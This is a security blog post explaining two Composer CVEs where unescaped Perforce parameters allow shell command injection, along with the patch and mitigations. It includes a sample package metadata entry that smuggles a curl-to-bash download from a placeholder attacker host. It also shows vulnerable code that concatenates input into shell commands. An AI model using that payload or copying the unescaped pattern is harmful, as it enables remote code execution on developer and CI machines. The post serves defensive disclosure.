June 24, 2026
How a composer install Becomes Remote Code Execution: Inside CVE-2026–40261 and CVE-2026–40176
Two Composer CVEs from April 2026 that run attacker commands on any PHP developer’s machine, without Perforce installed

By Hafiq Iqmal
5 min read
You clone a repository. Fresh project, fresh machine. You run composer install, the dependencies resolve, packages download, and the autoloader generates. Normal.
Except on an unpatched Composer, something else might run. Not a package script. Not a post-install hook you agreed to. A shell command constructed from attacker-controlled metadata, executed by the same process that just fetched your dependencies.
That is what CVE-2026–40261 makes possible. Its companion, CVE-2026–40176, uses a different trigger path. Both published April 14, 2026. Both fixed in Composer 2.9.6 and 2.2.27 LTS. And both exploitable without Perforce anywhere on your machine.
That last part is where most developers zone out and move on. It should be where they start paying attention.
Why Perforce Is the Wrong Frame
Composer ships with VCS drivers for multiple source control systems: Git, Subversion, Mercurial and Perforce. You do not configure this. All four are compiled into the Composer binary regardless of which you use. The Perforce driver exists because packages can declare Perforce as their source type in metadata, and Composer needs to handle that case.
The critical thing about drivers is that they do not require the underlying tool to be installed. Composer will still attempt to execute the command it constructs for Perforce even when p4 returns "command not found." The execution attempt happens first. The error, if any, comes after.
So when the advisory says "exploitable even if you don't have Perforce installed," it is not hedging. It is describing the exact mechanism. Composer builds the shell command, passes it to the OS, and the OS runs whatever is in that string.
Both vulnerabilities are CWE-78: Improper Neutralization of Special Elements used in an OS Command. Shell injection. The oldest kind, dressed in a dependency manager.
CVE-2026–40261 (CVSS 8.8): The Dependency You Did Not Choose
This is the scarier of the two.
Perforce::syncCodeBase() was responsible for syncing a Perforce repository to a local directory. Part of that involved constructing a p4 sync command and appending the source reference — a value that tells Perforce which revision or label to sync to.
The source reference came from package metadata. Not from your composer.json. From the metadata that any Composer-compatible package repository can serve.
The vulnerable pattern, simplified from the Composer source:
php
// $sourceReference is read from package metadata, not sanitized
$command = 'p4 sync //depot/...' . $sourceReference;
$this->executeCommand($command);// $sourceReference is read from package metadata, not sanitized
$command = 'p4 sync //depot/...' . $sourceReference;
$this->executeCommand($command);Shell metacharacters in $sourceReference flow directly into the command string. A crafted source reference containing a semicolon or pipe turns the p4 sync into two commands. Or three. Whatever the attacker wants.
The trigger: Composer installs from source. That happens when you pass --prefer-source explicitly, or when you install a dev-prefixed version like dev-main or dev-feature-branch. Dev version installs default to source because there is no tagged release to download as a dist archive.
A compromised package entry in any registry could carry a source block like this:
json
{
"source": {
"type": "perforce",
"url": "depot.example.com:1666",
"reference": "@label; curl https://attacker.example.com/payload | bash #"
}
}{
"source": {
"type": "perforce",
"url": "depot.example.com:1666",
"reference": "@label; curl https://attacker.example.com/payload | bash #"
}
}The semicolon ends the p4 sync invocation. Everything after it is a new command. The # comments out any trailing arguments Composer might append. The injected payload runs under the user account that called composer install, and the developer sees none of it during a normal install.
Packagist.org disabled Perforce source metadata on April 10, 2026 — four days before the CVEs went public. The supply chain vector through the official registry was already blocked by disclosure day. Every other Composer registry was not.
CVE-2026–40176 (CVSS 7.8): The Untrusted Project
This one requires a different threat model.
Perforce::generateP4Command() built shell commands by interpolating the Perforce connection parameters port, user and client directly into the command string without escaping. Those parameters come from VCS repository configuration in composer.json.
php
// $p4User comes from the vcs repository config in composer.json
$command = 'p4 -p ' . $port . ' -u ' . $p4User . ' -c ' . $p4Client . ' info';
$this->executeCommand($command);// $p4User comes from the vcs repository config in composer.json
$command = 'p4 -p ' . $port . ' -u ' . $p4User . ' -c ' . $p4Client . ' info';
$this->executeCommand($command);A malicious p4user value injects into the -u argument. Semicolons, pipes, command substitution. The usual suspects. Composer builds and executes the command even if p4 is not installed.
The important scoping: composer.json VCS repositories are only loaded from the root project file, not from dependencies. The attack requires running Composer against a project whose root composer.json contains the malicious configuration.
That sounds narrow. It is not, for a few specific workflows:
Open source contributions. You clone a repo someone sent you, run composer install to get it running. If that composer.json was crafted to exploit CVE-2026-40176, you just ran their commands.
CI/CD on unreviewed branches. Pull request pipelines that run composer install on contributor branches before human review hit this exactly. The attacker submits a PR, the pipeline runs, payload executes in your CI environment. The CI token, the AWS credentials mounted as environment variables, the SSH key the pipeline uses to deploy. All accessible from within a successful injection. Most pipelines run with more privilege than the developer sitting at a laptop, which is why CI is often the more attractive target.
Reviewing unfamiliar projects. The developer equivalent of "let me just run this real quick to see what it does."
The distinction between the two CVEs matters for risk assessment:
CVE-2026–40261 (CVSS 8.8)
- Attack vector: any Composer repository, including registries you already trust
- Trigger:
--prefer-sourceor any dev-prefixed version install - Victim action required: installing a malicious or compromised package
- Does Perforce need to be installed? No
CVE-2026–40176 (CVSS 7.8)
- Attack vector: root
composer.jsonof the project you are running Composer in - Trigger: any Composer command on a project with malicious VCS config
- Victim action required: running Composer in an untrusted project directory
- Does Perforce need to be installed? Also no
The Fix Is One Command
Both vulnerabilities are fixed by upgrading to Composer 2.9.6 or 2.2.27 LTS. The patch adds escapeshellarg() on parameters that were previously concatenated raw:
php
// Fixed in Composer 2.9.6
$command = 'p4 sync //depot/...' . escapeshellarg($sourceReference);
$this->executeCommand($command);// Fixed in Composer 2.9.6
$command = 'p4 sync //depot/...' . escapeshellarg($sourceReference);
$this->executeCommand($command);escapeshellarg() wraps the value in single quotes and escapes any single quotes inside it. Shell metacharacters are no longer interpreted. The injection surface disappears.
bash
composer self-update
composer --version
# Should show 2.9.6, 2.2.27, or newercomposer self-update
composer --version
# Should show 2.9.6, 2.2.27, or newerIf you cannot update immediately: use --prefer-dist or set preferred-install: dist in your config to avoid the syncCodeBase() path entirely. For CVE-2026-40176, inspect any project's composer.json for repositories blocks with type: vcs and a Perforce-style URL (hostname:port format) before running Composer in that directory.
What This Actually Tells Us
The average PHP developer's mental model of Composer security is roughly: "I use Packagist. Packagist scans for malware. I am fine."
CVE-2026–40261 is a good stress test of that model. The attack does not require a malicious package on Packagist — it requires package metadata declaring Perforce as a source type. Private Packagist, Satis mirrors, corporate Composer repositories. These typically have less scanning than the public registry. A compromised Satis instance serving one malicious package's metadata is a valid attack path.
The code paths that handle less common VCS drivers, Perforce and Subversion among them, see less scrutiny than the Git path. That is not a criticism. It is a structural reality of software that supports many backends. Less usage means less review pressure.
This is why composer audit is not sufficient as a security posture on its own. The tool itself is in scope.
If you run Composer in CI without pinning its version, you are implicitly trusting whatever version the runner image ships with. Pinning Composer and verifying the phar SHA before executing it is the kind of hygiene that feels excessive until it is not.
Check Now
Open a terminal. Run composer --version. If it shows anything before 2.9.6 on mainline or 2.2.27 on the LTS branch, you are running code with two known command injection vectors.
Packagist.org blocked the supply chain path on April 10. The vulnerability in your local Composer binary is still there. Any registry that has not made the same change, any project directory with a crafted composer.json, any CI pipeline running against contributor branches. The window is open on your end until you close it.
composer self-update takes about three seconds. Most patching decisions are harder than this one.